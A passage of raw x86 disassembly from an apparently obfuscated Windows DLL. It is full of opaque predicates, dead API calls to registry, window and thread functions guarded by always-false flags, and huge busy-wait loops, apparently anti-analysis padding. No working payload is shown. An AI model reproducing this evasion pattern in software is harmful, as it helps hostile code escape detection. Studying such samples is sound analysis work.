mov ecx, edi
mov eax, dword [ebp - 0x50]
imul eax, ecx
test eax, eax
mov eax, edi
jne 0x100136b6
mov eax, ebx
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
cmp eax, dword [ebp - 0x50]
jne 0x100136c4
mov eax, dword [ebp - 0x50]
mov eax, dword [ebp - 0x50]
mov eax, dword [ebp - 0x50]
mov eax, dword [ebp - 0x50]
mov eax, dword [ebp - 0x50]
mov eax, dword [ebp - 0x50]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x50]
mov eax, dword [ebp - 0x50]
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x50]
sub ecx, eax
add ecx, dword [ebp - 0x50]
cmp ecx, dword [ebp - 0x50]
jne 0x10013708
mov byte [ebp - 0x15], bl
cmp byte [ebp - 0x15], bl
je 0x100137bb
push 0x2649
call dword [sym.imp.KERNEL32.dll_TlsFree]
jmp 0x100137bb
mov dword [ebp - 0x1c], 0xffff
mov dword [ebp - 0x40], 0x5296947a
mov dword [ebp - 0x30], 0xffffffff
mov dword [ebp - 0x28], 0xda9fc5c2
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 0x44]
neg eax
jne 0x10013738
mov esi, ebx
cmp dword [ebp - 0x1c], ebx
je 0x1001373a
mov esi, edi
mov edx, dword [ebp - 0x14]
xor ecx, ecx
imul edx, dword [ebp - 0x50]
mov eax, dword [ebp - 0x14]
cmp edx, eax
setl cl
mov dword [ebp - 0x40], ecx
mov eax, dword [ebp - 0x40]
cmp eax, dword [ebp - 0x14]
je 0x1001375d
mov edx, edi
cmp dword [ebp - 0x50], ebx
jne 0x1001375f
mov edx, ebx
mov eax, dword [ebp - 0x1c]
xor ecx, ecx
cmp edx, eax
setl cl
add ecx, dword [ebp - 0x1c]
cmp ecx, 0x802d
jg 0x10013779
cmp dword [ebp - 0x40], ebx
je 0x1001377b
mov ebx, edi
mov eax, dword [ebp - 0x50]
xor edx, edx
cmp ebx, eax
mov eax, dword [ebp - 0x50]
sete dl
xor ecx, ecx
cmp eax, edx
setl cl
xor eax, eax
cmp esi, ecx
setge al
xor ecx, ecx
cmp eax, 0x56218477
setl cl
imul ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x30], ecx
mov eax, dword [ebp - 0x30]
cmp eax, dword [ebp - 0x50]
jne 0x100137b2
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x44]
mov dword [ebp - 0x28], eax
mov edx, dword [ebp - 0x44]
sub edx, 0x97010273
neg edx
sbb edx, edx
inc edx
sub edx, dword [ebp - 0x50]
mov eax, dword [ebp - 0x44]
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
mov eax, dword [ebp - 0x44]
setg cl
xor ebx, ebx
cmp ecx, 0x205a4aac
setl bl
xor edx, edx
cmp ebx, eax
mov eax, dword [ebp - 0x44]
setl dl
xor ecx, ecx
cmp edx, eax
setl cl
xor edx, edx
mov dword [ebp - 0x40], ecx
mov eax, dword [ebp - 0x40]
test eax, eax
mov eax, dword [ebp - 0x44]
setg dl
xor ecx, ecx
cmp edx, eax
setne cl
cmp ecx, 0xffffffff
jbe 0x10013819
mov eax, dword [ebp - 0x50]
mov eax, dword [ebp - 0x24]
xor edx, edx
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x50]
mov dword [ebp - 0x14], 0x3e35
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x44]
mov eax, dword [ebp - 0x44]
cmp ecx, eax
setle dl
xor ecx, ecx
mov dword [ebp - 0x30], edx
mov eax, dword [ebp - 0x30]
cmp eax, 0xae93
setg cl
imul ecx, ecx, 0x95d3
add ecx, 0xf0b5
sub ecx, dword [ebp - 0x58]
mov eax, dword [ebp - 0x50]
neg ecx
sbb ecx, ecx
xor edx, edx
inc ecx
cmp ecx, eax
mov eax, dword [ebp - 0x58]
setne dl
xor ecx, ecx
cmp edx, eax
setl cl
xor ebx, ebx
cmp ecx, dword [ebp - 0x58]
jle 0x10013885
mov ecx, edi
cmp dword [ebp - 0x58], ebx
jne 0x10013887
mov ecx, ebx
mov eax, dword [ebp - 0x24]
sub ecx, eax
neg ecx
sbb ecx, ecx
neg ecx
mov dword [ebp - 0x28], ecx
mov byte [ebp - 0x15], bl
je 0x100138a8
cmp byte [ebp - 0x15], 0
je 0x100138c2
call dword [sym.imp.USER32.dll_GetCaretBlinkTime]
jmp 0x100138c2
cmp byte [ebp - 0x15], 0
je 0x100138c2
push 0x189f
push ebx
push ebx
push ebx
push 0x1349
push ebx
call dword [sym.imp.KERNEL32.dll_GetDateFormatW]
mov dword [ebp - 0x54], 0xbef
cmp dword [ebp - 0x54], 0xee4
jle 0x10013965
mov eax, ebx
mov dword [ebp - 0x40], ebx
mov ecx, ebx
mov dword [ebp - 0x38], ebx
cdq
mov edi, ebx
idiv ecx
mov dword [ebp - 0x30], edi
mov dword [ebp - 0x28], edx
mov ecx, edi
mov esi, ebx
mov edi, edx
sar edi, cl
mov ecx, esi
mov eax, edi
shl eax, cl
lea ecx, [ebp - 0x960]
cdq
push edx
push eax
call fcn.1000da20
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x10013911
mov eax, dword [eax]
push eax
call fcn.100540b6
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x960]
call fcn.100109ad
inc esi
cmp esi, 0x21d6
jl 0x100138f3
mov edi, dword [ebp - 0x30]
mov edx, dword [ebp - 0x28]
inc edi
mov dword [ebp - 0x30], edi
cmp edi, 0x7028
jl 0x100138eb
mov ecx, dword [ebp - 0x38]
mov eax, dword [ebp - 0x40]
inc ecx
mov dword [ebp - 0x38], ecx
cmp ecx, 0x3510
jl 0x100138e0
inc eax
mov dword [ebp - 0x40], eax
cmp eax, 0x4575
jl 0x100138db
xor edi, edi
inc edi
mov dword [ebp - 0x3c], 0xea7
mov byte [ebp - 0x15], bl
cmp byte [ebp - 0x15], 0
je 0x10013980
push 0x1f88
call dword [sym.imp.GDI32.dll_GetStockObject]
mov byte [ebp - 0x15], bl
cmp byte [ebp - 0x15], 0
je 0x1001399b
push ebx
push ebx
push 0x1b68
push 0x67e
call dword [sym.imp.USER32.dll_PostMessageW]
cmp dword [ebp - 0x54], 0x937
jge 0x100139af
push 0x10007f80
call fcn.100540b6
pop ecx
or dword [ebp - 4], 0xffffffff
mov dword [ebp - 0x50], 0xffffffff
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0x44], 0xffffffff
mov dword [ebp - 0x40], edi
mov dword [ebp - 0x24], 6
mov dword [ebp - 0x30], 0x56eff52
mov dword [ebp - 0x58], ebx
mov dword [ebp - 0x28], ebx
cmp dword [ebp - 0x50], ebx
je 0x100139fc
mov eax, dword [ebp - 0x50]
neg eax
jne 0x100139ee
mov ecx, ebx
cmp dword [ebp - 0x50], ebx
je 0x100139f0
mov ecx, edi
mov eax, dword [ebp - 0x50]
imul eax, ecx
test eax, eax
mov eax, edi
jne 0x100139fe
mov eax, ebx
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
cmp eax, dword [ebp - 0x50]
jne 0x10013a0c
mov eax, dword [ebp - 0x50]
mov eax, dword [ebp - 0x50]
mov eax, dword [ebp - 0x50]
mov eax, dword [ebp - 0x50]
mov eax, dword [ebp - 0x50]
mov eax, dword [ebp - 0x50]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x50]
mov eax, dword [ebp - 0x50]
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x50]
sub ecx, eax
add ecx, dword [ebp - 0x50]
cmp ecx, dword [ebp - 0x50]
jne 0x10013a51
mov byte [ebp - 0x15], bl
cmp byte [ebp - 0x15], 0
je 0x10013b04
push 0x2649
call dword [sym.imp.KERNEL32.dll_TlsFree]
jmp 0x10013b04
mov dword [ebp - 0x1c], 0xffff
mov dword [ebp - 0x40], 0x5296947a
mov dword [ebp - 0x30], 0xffffffff
mov dword [ebp - 0x28], 0xda9fc5c2
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 0x44]
neg eax
jne 0x10013a81
mov esi, ebx
cmp dword [ebp - 0x1c], ebx
je 0x10013a83
mov esi, edi
mov edx, dword [ebp - 0x14]
xor ecx, ecx
imul edx, dword [ebp - 0x50]
mov eax, dword [ebp - 0x14]
cmp edx, eax
setl cl
mov dword [ebp - 0x40], ecx
mov eax, dword [ebp - 0x40]
cmp eax, dword [ebp - 0x14]
je 0x10013aa6
mov edx, edi
cmp dword [ebp - 0x50], ebx
jne 0x10013aa8
mov edx, ebx
mov eax, dword [ebp - 0x1c]
xor ecx, ecx
cmp edx, eax
setl cl
add ecx, dword [ebp - 0x1c]
cmp ecx, 0x802d
jg 0x10013ac2
cmp dword [ebp - 0x40], ebx
je 0x10013ac4
mov ebx, edi
mov eax, dword [ebp - 0x50]
xor edx, edx
cmp ebx, eax
mov eax, dword [ebp - 0x50]
sete dl
xor ecx, ecx
cmp eax, edx
setl cl
xor eax, eax
cmp esi, ecx
setge al
xor ecx, ecx
cmp eax, 0x56218477
setl cl
imul ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x30], ecx
mov eax, dword [ebp - 0x30]
cmp eax, dword [ebp - 0x50]
jne 0x10013afb
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x44]
mov dword [ebp - 0x28], eax
mov edx, dword [ebp - 0x44]
sub edx, 0x97010273
neg edx
sbb edx, edx
inc edx
sub edx, dword [ebp - 0x50]
mov eax, dword [ebp - 0x44]
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
mov eax, dword [ebp - 0x44]
setg cl
xor edx, edx
cmp ecx, 0x205a4aac
setl dl
xor ebx, ebx
cmp edx, eax
mov eax, dword [ebp - 0x44]
setl bl
xor ecx, ecx
cmp ebx, eax
setl cl
xor edx, edx
mov dword [ebp - 0x40], ecx
mov eax, dword [ebp - 0x40]
test eax, eax
mov eax, dword [ebp - 0x44]
setg dl
xor ecx, ecx
cmp edx, eax
setne cl
cmp ecx, 0xffffffff
jbe 0x10013b62
mov eax, dword [ebp - 0x50]
mov eax, dword [ebp - 0x24]
xor edx, edx
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x50]
mov dword [ebp - 0x14], 0x3e35
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x44]
mov eax, dword [ebp - 0x44]
cmp ecx, eax
setle dl
xor ecx, ecx
mov dword [ebp - 0x30], edx
mov eax, dword [ebp - 0x30]
cmp eax, 0xae93
setg cl
imul ecx, ecx, 0x95d3
add ecx, 0xf0b5
sub ecx, dword [ebp - 0x58]
mov eax, dword [ebp - 0x50]
neg ecx
sbb ecx, ecx
xor edx, edx
inc ecx
cmp ecx, eax
mov eax, dword [ebp - 0x58]
setne dl
xor ecx, ecx
cmp edx, eax
setl cl
xor ebx, ebx
cmp ecx, dword [ebp - 0x58]
jle 0x10013bce
mov ecx, edi
cmp dword [ebp - 0x58], ebx
jne 0x10013bd0
mov ecx, ebx
mov eax, dword [ebp - 0x24]
sub ecx, eax
neg ecx
sbb ecx, ecx
neg ecx
mov dword [ebp - 0x28], ecx
mov byte [ebp - 0x15], bl
je 0x10013bf1
cmp byte [ebp - 0x15], 0
je 0x10013c0b
call dword [sym.imp.USER32.dll_GetCaretBlinkTime]
jmp 0x10013c0b
cmp byte [ebp - 0x15], 0
je 0x10013c0b
push 0x189f
push ebx
push ebx
push ebx
push 0x1349
push ebx
call dword [sym.imp.KERNEL32.dll_GetDateFormatW]
movdqa xmm0, xmmword [0x1000c5e0]
lea ecx, [ebp - 0x6a0]
push ecx
lea eax, [ebp - 0x690]
mov dword [ebp - 0x34], 0x64caf14c
push eax
push ecx
lea ecx, [ebp - 0x49c]
movdqu xmmword [ebp - 0x6a0], xmm0
call fcn.1001067d
push 4
lea ecx, [ebp - 0x268]
mov dword [ebp - 4], 0x13
call fcn.10010621
mov dword [ebp - 0x40], ebx
mov dword [ebp - 0x5c], 0x2668451f
mov dword [ebp - 0x28], 0xd1f0dfbc
mov dword [ebp - 0x30], 0xffffffff
mov dword [ebp - 0x24], ebx
jmp 0x10013c80
mov ecx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x268]
mov dword [eax + ecx*4], 2
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 4
jl 0x10013c6d
mov eax, dword [ebp - 0x34]
xor edx, edx
mov ecx, dword [ebp - 0x34]
mov eax, dword [ebp - 0x34]
cmp ecx, eax
setg dl
mov dword [ebp - 0x34], edx
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x49c]
mov edx, dword [ebp - 0x268]
mov ecx, dword [eax]
mov dword [eax + 0xc], ecx
xor eax, eax
cmp ecx, dword [edx + 8]
setge al
xor ecx, ecx
mov dword [edx + 8], eax
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x49c]
mov eax, dword [eax]
mov dword [ebp - 0x40], eax
mov eax, dword [ebp - 0x40]
cmp eax, 0xa1cf
setge cl
xor eax, eax
cmp ecx, 0xfff9
setne al
imul eax, eax, 0xffff
mov dword [ebp - 0x5c], eax
mov eax, dword [ebp - 0x5c]
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x5c]
imul eax, dword [edx + 8], 0x78ed
test eax, eax
je 0x10013d02
mov ecx, edi
cmp dword [ebp - 0x30], ebx
jne 0x10013d04
mov ecx, ebx
mov eax, dword [ebp - 0x268]
mov dword [eax + 4], ecx
lea ecx, [ebp - 0x268]
call fcn.100106a3
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x49c]
call fcn.100106a3
mov dword [ebp - 0x34], 0x3ae35568
mov dword [ebp - 0x34], ebx
jmp 0x10013da3
mov dword [ebp - 0x14], 0xa9831117
mov dword [ebp - 0x24], ebx
jmp 0x10013d50
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x654], 0xfffffffc
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 2
jl 0x10013d3f
mov dword [ebp - 0x14], ebx
jmp 0x10013d7f
mov byte [ebp - 0x15], bl
cmp byte [ebp - 0x15], 0
je 0x10013d7c
push ebx
push 0x1ca6
push ebx
push ebx
push 0x15c5
push 0x1f06
call dword [sym.imp.USER32.dll_ToAsciiEx]
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edi
jle 0x10013d5b
mov dword [ebp - 0x14], ebx
jmp 0x10013d9a
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x654], 0xd2e8588d
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 2
jl 0x10013d89
inc dword [ebp - 0x34]
cmp dword [ebp - 0x34], 0xe
jge 0x10013d33
push edi
lea ecx, [ebp - 0x20c]
call fcn.10010621
push 3
mov dword [ebp - 4], 0x14
lea ecx, [ebp - 0x310]
pop esi
mov dword [ebp - 0x1c], 0xfffffff6
mov dword [ebp - 0x34], 0x6f1f
push esi
call fcn.10010621
mov byte [ebp - 4], 0x15
mov dword [ebp - 0x14], ebx
jmp 0x10013df5
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x20c]
mov dword [eax + ecx*4], 0xfffffffa
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edi
jl 0x10013de2
mov dword [ebp - 0x14], ebx
jmp 0x10013e12
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x310]
mov dword [eax + ecx*4], 0xca3c47a
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], esi
jl 0x10013dff
mov eax, dword [ebp - 0x20c]
inc dword [eax]
mov dword [ebp - 0x1c], ebx
cmp dword [ebp - 0x1c], ebx
jl 0x10013f53
mov edi, dword [ebp - 0x310]
push 4
lea ecx, [ebp - 0x3ac]
call fcn.10010621
mov dword [ebp - 0x20], 0xffffffff
mov dword [ebp - 0x28], 0x69cd17cd
mov dword [ebp - 0x28], 0x4ce10b49
mov dword [ebp - 0x24], ebx
jmp 0x10013e6b
mov ecx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x3ac]
mov dword [eax + ecx*4], 0xf8067e30
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 4
jl 0x10013e58
mov esi, dword [ebp - 0x3ac]
mov dword [esi + 8], ebx
mov dword [ebp - 0x30], 0x4b3f4b14
xor ecx, ecx
mov dword [ebp - 0x30], 1
mov edx, dword [ebp - 0x30]
mov eax, dword [ebp - 0x34]
sub edx, 0x5a1f307f
cmp eax, edx
setge cl
mov dword [ebp - 0x20], ecx
mov eax, dword [ebp - 0x20]
sub eax, dword [ebp - 0x34]
mov ecx, dword [esi + 8]
neg eax
sbb eax, eax
xor edx, edx
inc eax
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x20c]
cmp dword [eax + ecx*4], 0x2e96
setl dl
xor eax, eax
cmp dword [edi + 8], 1
sete al
xor ecx, ecx
cmp eax, 0xfffffff8
setle cl
xor eax, eax
cmp ecx, 0xffffffff
setne al
cmp edx, eax
jle 0x10013ee8
cmp dword [ebp - 0x34], ebx
je 0x10013ee8
xor eax, eax
inc eax
jmp 0x10013eea
mov eax, ebx
inc dword [esi + 8]
cmp dword [esi + 8], 0
mov dword [ebp - 0x28], eax
jle 0x10013e7a
mov dword [ebp - 0x34], ebx
cmp dword [ebp - 0x34], ebx
jl 0x10013f3c
mov dword [ebp - 0x20], ebx
jmp 0x10013f16
mov ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20c]
mov dword [eax + ecx*4], 0xfffffff6
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 1
jl 0x10013f03
mov byte [ebp - 0x15], bl
cmp byte [ebp - 0x15], 0
je 0x10013f37
push 0x190f
push ebx
push ebx
push 0x25f2
call dword [sym.imp.USER32.dll_MessageBoxW]
dec dword [ebp - 0x34]
jns 0x10013efe
lea ecx, [ebp - 0x3ac]
call fcn.100106a3
dec dword [ebp - 0x1c]
jns 0x10013e31
xor edi, edi
inc edi
lea ecx, [ebp - 0x310]
call fcn.100106a3
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x20c]
call fcn.100106a3
mov dword [ebp - 0x3c], 0xea7
lea ecx, [ebp - 0x54c]
push 2
call fcn.10010621
mov dword [ebp - 4], 0x16
mov dword [ebp - 0x20], ebx
mov dword [ebp - 0x3c], 0x7a6deec5
mov dword [ebp - 0x3c], 0x2276b87d
push 2
mov dword [ebp - 0x3c], 0x1fc9a57b
mov dword [ebp - 0x14], ebx
pop edx
jmp 0x10013fbb
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x54c]
mov dword [eax + ecx*4], 0xec0a
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edx
jl 0x10013fa8
mov dword [ebp - 0x14], ebx
jmp 0x10013fd6
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x7e8], 0x5047c4d1
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edx
jl 0x10013fc5
mov dword [ebp - 0x20], ebx
cmp dword [ebp - 0x20], edi
jg 0x10014087
mov byte [ebp - 0x15], bl
cmp byte [ebp - 0x15], 0
je 0x1001407f
mov dword [ebp - 0x30], 0x1d41
cmp dword [ebp - 0x30], 0x1dad
jle 0x1001402e
mov edi, ebx
mov esi, ebx
mov eax, esi
mov ecx, 0x10613338
and eax, edi
cdq
push edx
push eax
call fcn.1001050c
inc esi
cmp esi, 0x5d9e
jl 0x10014008
inc edi
cmp edi, 0x3051
jl 0x10014006
xor edi, edi
inc edi
push edi
push 0xf41
push ebx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObjectEx]
mov byte [ebp - 4], 0x17
cmp dword [ebp - 0x30], 0x1b57
jge 0x10014078
mov edx, 0x10007fc8
mov ecx, 0x10613338
call fcn.10011fb6
jmp 0x10014078
mov dword [ebp - 4], 0x16
inc dword [ebp - 0x20]
jmp 0x10013fde
mov dword [ebp - 0x20], ebx
jmp 0x1001409c
mov dword [ebp - 0x3c], edi
mov dword [ebp - 0x30], 0xfff8
dec dword [ebp - 0x30]
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 0x18
jne 0x1001408c
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x54c]
call fcn.100106a3
push edi
lea ecx, [ebp - 0x638]
call fcn.10010621
mov dword [ebp - 0x34], 0xffffffff
mov dword [ebp - 0x30], 0xffffffff
mov dword [ebp - 0x24], ebx
jmp 0x100140e3
mov ecx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x638]
mov dword [eax + ecx*4], 9
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], edi
jl 0x100140d0
mov dword [ebp - 0x34], ebx
cmp dword [ebp - 0x34], ebx
jg 0x1001419c
push 3
pop esi
mov dword [ebp - 0x24], ebx
jmp 0x1001410d
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x28c], 0xa9ef72d4
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], esi
jl 0x100140fc
mov dword [ebp - 0x288], ebx
cmp dword [ebp - 0x288], ebx
jl 0x10014190
mov dword [ebp - 0x24], ebx
jmp 0x10014136
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x25c], 5
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], esi
jl 0x10014125
mov eax, dword [ebp - 0x254]
add eax, 0xb227
cmp eax, 0xffffffff
sbb eax, eax
xor edx, edx
neg eax
imul ecx, eax, 0x3a4c
mov eax, dword [ebp - 0x254]
add ecx, eax
mov eax, dword [ebp - 0x254]
cmp ecx, eax
mov eax, dword [ebp - 0x30]
setne dl
imul ecx, edx, 0xa
mov edx, dword [ebp - 0x254]
sub edx, eax
neg edx
sbb edx, edx
xor eax, eax
inc edx
sub edx, ecx
cmp edx, 0xfffffffc
setne al
mov dword [ebp - 0x30], eax
dec dword [ebp - 0x288]
jns 0x10014120
inc dword [ebp - 0x34]
cmp dword [ebp - 0x34], ebx
jle 0x100140f7
lea ecx, [ebp - 0x638]
call fcn.100106a3
mov byte [ebp - 0x45], bl
mov dword [ebp - 0x34], 0x256915a
mov dword [ebp - 0x30], 0xfa51669
mov dword [ebp - 0x24], ebx
jmp 0x100141ca
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x660], edi
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], edi
jl 0x100141bd
mov dword [ebp - 0x34], ebx
jmp 0x100141f8
mov dword [ebp - 0x24], 0xffffffff
mov dword [ebp - 0x3c], 0x1651328f
mov dword [ebp - 0x3c], edi
mov dword [ebp - 0x24], ebx
jmp 0x100141f0
inc dword [ebp - 0x30]
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], ebx
jle 0x100141ea
inc dword [ebp - 0x34]
cmp dword [ebp - 0x34], ebx
jle 0x100141d4
mov byte [ebp - 0x15], bl
mov dword [ebp - 0x30], 0x3174
cmp dword [ebp - 0x30], 0x3186
jle 0x1001424e
mov eax, ebx
mov dword [ebp - 0x1c], ebx
mov edi, ebx
mov esi, ebx
lea ecx, [esi + edi]
shl eax, cl
mov ecx, 0x10613338
cdq
push edx
push eax
call fcn.1001050c
mov eax, dword [ebp - 0x1c]
inc esi
cmp esi, 0x732c
jl 0x10014219
inc edi
cmp edi, 0x47d5
jl 0x10014217
inc eax
mov dword [ebp - 0x1c], eax
cmp eax, 0x2e9
jl 0x10014215
xor edi, edi
inc edi
cmp byte [ebp - 0x15], 0
je 0x1001425d
push ebx
push ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_RegSetKeySecurity]
mov dword [ebp - 4], 0x19
cmp dword [ebp - 0x30], 0x2fab
jge 0x1001427c
mov edx, 0x10008010
mov ecx, 0x10613338
call fcn.10011fb6
or dword [ebp - 4], 0xffffffff
cmp byte [ebp - 0x45], 0
je 0x100144a4
push edi
lea ecx, [ebp - 0xe4]
call fcn.10010621
mov dword [ebp - 4], 0x1b
mov dword [ebp - 0x20], 0xbf34fda
mov dword [ebp - 0x54], 0x3306
cmp dword [ebp - 0x54], 0x3360
jle 0x10014314
mov eax, ebx
mov dword [ebp - 0x38], ebx
mov edi, eax
mov dword [ebp - 0x30], 0x1447
mov esi, ebx
lea eax, [edi + esi]
cdq
lea ecx, [ebp - 0x8a0]
push edx
push eax
call fcn.1000da20
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x100142df
mov eax, dword [eax]
push eax
call fcn.100540b6
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x8a0]
call fcn.100109ad
inc esi
cmp esi, 0x34b
jl 0x100142c4
dec edi
dec dword [ebp - 0x30]
jne 0x100142c2
mov eax, dword [ebp - 0x38]
inc eax
mov dword [ebp - 0x38], eax
cmp eax, 0x137
jl 0x100142b9
xor edi, edi
inc edi
mov dword [ebp - 0x24], ebx
jmp 0x10014354
mov ecx, dword [ebp - 0x24]
mov eax, dword [ebp - 0xe4]
mov dword [eax + ecx*4], 0x8b13eca4
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], edi
jl 0x10014341
cmp dword [ebp - 0x54], 0x300f
jge 0x1001436d
push 0x10008078
call fcn.100540b6
pop ecx
mov byte [ebp - 0x15], bl
cmp byte [ebp - 0x15], 0
je 0x1001437c
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [ebp - 0x20], ebx
cmp dword [ebp - 0x20], ebx
jl 0x1001448a
mov dword [ebp - 0x44], ebx
mov ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0xe4]
cmp dword [eax + ecx*4], ebx
jne 0x1001448a
mov dword [ebp - 0x44], ebx
cmp dword [ebp - 0x44], ebx
jl 0x10014481
mov dword [ebp - 0x14], 0x53589fe5
mov ecx, dword [ebp - 0x44]
mov eax, dword [ebp - 0xe4]
cmp dword [eax + ecx*4], 0xfffffffc
jge 0x100143ee
mov eax, dword [ebp - 0x44]
xor edx, edx
mov esi, dword [ebp - 0x44]
mov edi, dword [ebp - 0x44]
mov ecx, dword [ebp - 0xe4]
mov eax, dword [ebp - 0x20]
cmp eax, dword [ecx + esi*4]
mov eax, dword [ebp - 0xe4]
setl dl
sub edx, dword [eax + edi*4]
je 0x100143eb
xor edi, edi
inc edi
mov edx, edi
jmp 0x100143f0
xor edi, edi
inc edi
mov edx, ebx
mov eax, dword [ebp - 0x44]
mov ecx, dword [ebp - 0xe4]
mov eax, dword [ecx + eax*4]
sub eax, edx
imul eax, eax, 0xcaf1
mov dword [ecx], eax
mov dword [ebp - 0x14], ebx
jmp 0x10014473
mov dword [ebp - 0x34], 0xf0415773
mov edx, dword [ebp - 0x44]
mov ecx, dword [ebp - 0x34]
mov eax, dword [ebp - 0xe4]
neg ecx
sbb ecx, ecx
inc ecx
mov dword [eax + edx*4], ecx
mov dword [ebp - 0x34], ebx
jmp 0x1001446b
mov dword [ebp - 0x24], 0xffffffff
mov dword [ebp - 0x24], ebx
cmp dword [ebp - 0x24], ebx
jl 0x10014468
mov byte [ebp - 0x15], bl
cmp byte [ebp - 0x15], 0
je 0x10014455
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push 0x6d9
push ebx
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
mov ecx, dword [ebp - 0x24]
mov eax, dword [ebp - 0xe4]
cmp dword [eax + ecx*4], ebx
jne 0x10014468
dec dword [ebp - 0x24]
jns 0x1001443a
inc dword [ebp - 0x34]
cmp dword [ebp - 0x34], ebx
jle 0x1001442b
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
jle 0x1001440b
dec dword [ebp - 0x44]
jns 0x100143a9
dec dword [ebp - 0x20]
jns 0x10014388
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xe4]
call fcn.100106a3
push 0x1f88
call dword [sym.imp.GDI32.dll_GetStockObject]
mov dword [ebp - 0x20], 0x2c03342e
mov dword [ebp - 0x24], ebx
jmp 0x100144bd
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x220], ebx
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], edi
jl 0x100144b0
mov dword [ebp - 0x20], 0xfffffff3
jmp 0x10014505
mov dword [ebp - 0x24], 0xfffffffd
mov dword [ebp - 0x24], ebx
cmp dword [ebp - 0x24], ebx
jl 0x1001450b
mov dword [ebp - 0x34], 5
mov dword [ebp - 0x34], ebx
jmp 0x100144f3
mov eax, dword [ebp - 0x34]
mov dword [ebp + eax*4 - 0x220], edi
inc dword [ebp - 0x34]
cmp dword [ebp - 0x34], edi
jl 0x100144e6
dec dword [ebp - 0x24]
jns 0x100144da
cmp dword [ebp - 0x24], ebx
jne 0x1001450b
dec dword [ebp - 0x20]
cmp dword [ebp - 0x20], 0xffffffee
jne 0x100144cb
mov byte [ebp - 0x15], bl
cmp byte [ebp - 0x15], 0
je 0x10014529
push 0x1105
push 0x2523
push 0x22d8
call dword [sym.imp.GDI32.dll_LineTo]
mov dword [ebp - 0x38], 0x5e18
cmp dword [ebp - 0x38], 0x611a
jle 0x100145ce
push 0x114
call dword [sym.imp.USER32.dll_IsWindow]
mov ecx, ebx
mov dword [ebp - 0x1c], ebx
mov eax, ebx
mov dword [ebp - 0x40], ebx
mov edi, ebx
mov dword [ebp - 0x30], ebx
cdq
mov esi, ebx
idiv edi
lea edi, [edx + ecx]
mov eax, edi
lea ecx, [ebp - 0xa20]
and eax, esi
cdq
push edx
push eax
call fcn.1000da20
pop ecx
pop ecx
